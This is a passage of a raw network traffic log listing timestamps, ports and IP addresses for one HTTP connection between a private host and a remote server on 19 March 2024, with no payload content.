Mar 19, 2024 08:56:53.467425108 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.467458963 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.467478991 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.467498064 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.467515945 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.467545033 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.467582941 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.467603922 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.467648983 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.467668056 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.467681885 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.467705011 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.467717886 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.467833996 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.467873096 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.467905045 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.467946053 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.467977047 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.468019962 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.468193054 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.468235970 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.468271971 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.468310118 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.468324900 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.468369007 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.468396902 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.468437910 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.468467951 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.468508005 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.468549013 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.468585014 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.468594074 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.468631983 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.468657970 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.468694925 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.468709946 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.468745947 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.468748093 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.468791008 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.468812943 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.468848944 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.468879938 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.468915939 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.468947887 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.468981028 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.469010115 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.469047070 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.469073057 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.469109058 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.469111919 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.469150066 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.469177961 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.469208956 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.469218969 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.469243050 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.469281912 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.469300985 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.469319105 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.469340086 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.469381094 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.469394922 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.469420910 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.469439030 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.469460964 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.469496965 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.469507933 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.469537020 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.469540119 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.469573021 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.469610929 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.469651937 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.469656944 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.469693899 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.469696045 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.469736099 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.469768047 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.469805002 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.469836950 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.469873905 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.469898939 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.469930887 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.469933987 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.469965935 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.470010996 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.470048904 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.470052958 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.470089912 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.582295895 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.582351923 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.582376957 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.582403898 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.582422972 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.582461119 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.582494974 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.582544088 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.582566977 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.582602978 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.582654953 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.582703114 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.582709074 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.582743883 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.582775116 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.582811117 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.582865000 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.582901001 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.582931042 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.582966089 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.583029985 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.583077908 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.583093882 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.583131075 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.583183050 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.583230019 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.583254099 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.583300114 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.583389997 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.583430052 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.583472013 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.583509922 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.583565950 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.583606958 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.583628893 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.583673954 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.583702087 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.583735943 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.583766937 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.583807945 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.583838940 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.583885908 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.583951950 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.583997011 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.584027052 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.584070921 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.584096909 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.584145069 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.584202051 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.584249973 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.584276915 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.584325075 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.584332943 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.584373951 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.584397078 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.584433079 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.584461927 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.584496021 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.584553003 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.584592104 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.584615946 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.584649086 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.584697962 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.584734917 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.584794044 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.584816933 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.584835052 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.584860086 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.584920883 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.584959984 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.585010052 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.585056067 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.585066080 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.585100889 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.585175991 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.585216045 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.585266113 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.585309982 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.585346937 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.585386038 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.585397005 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.585438013 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.585480928 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.585516930 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.585551023 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.585585117 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.585617065 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.585654020 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.585711002 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.585747004 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.585820913 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.585860014 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.585880995 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.585915089 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.585958004 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.585995913 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.586039066 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.586076021 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.586143017 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.586188078 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.586198092 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.586240053 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.586266041 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.586306095 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.586358070 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.586394072 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.586461067 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.586496115 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.586558104 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.586601973 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.586644888 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.586683035 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.586729050 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.586762905 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.586844921 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.586879969 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.586889982 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.586925030 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.586926937 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.586962938 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.587006092 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.587047100 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.587095976 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.587135077 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.587203979 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.587233067 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.587244987 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.587266922 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.587320089 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.587357044 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.587445021 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.587481022 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.587524891 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.587559938 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.587629080 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.587668896 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.587713003 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.587750912 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.587796926 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.587830067 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.587877989 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.587913990 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.588251114 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.588288069 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.588413000 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.588447094 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.588610888 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.588665962 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.588711977 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.588756084 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.588927984 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.588979959 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.589021921 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.589046001 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.589065075 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.589078903 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.589113951 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.589154959 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.589205980 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.589246035 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.589257002 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.589292049 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.589310884 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.589349985 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.589369059 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.589386940 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.589407921 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.589417934 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.589544058 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.589576006 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.589581013 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.589612007 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.589643002 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.589678049 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.589694023 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.589726925 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.589761972 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.589793921 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.589803934 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.589832067 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.589862108 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.589880943 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.589900017 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.589910984 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.589941025 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.589983940 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.590006113 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.590042114 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.590063095 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.590100050 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.590118885 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.590157032 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.590243101 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.590282917 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.590293884 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.590341091 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.590363979 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.590388060 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.590403080 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.590423107 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.590444088 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.590462923 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.590480089 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.590498924 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.590555906 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.590591908 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.590604067 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.590616941 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.590639114 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.590662956 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.590682030 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.590719938 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.590745926 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.590780020 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.590806961 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.590848923 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.590864897 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.590902090 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.590934992 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.590970039 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.591070890 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.591113091 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.591125011 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.591157913 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.591190100 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.591223955 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.591223955 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.591264963 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.591330051 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.591367006 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.591408014 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.591445923 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.591471910 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.591506004 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.591593027 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.591629028 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.591681004 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.591694117 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.591717005 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.591727972 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.591785908 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.591825008 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.591854095 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.591880083 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.591890097 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.591916084 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.591950893 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.591988087 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.591989994 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.592027903 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.592053890 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.592083931 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.592124939 CET	80	49729	192.187.112.99	192.168.2.4
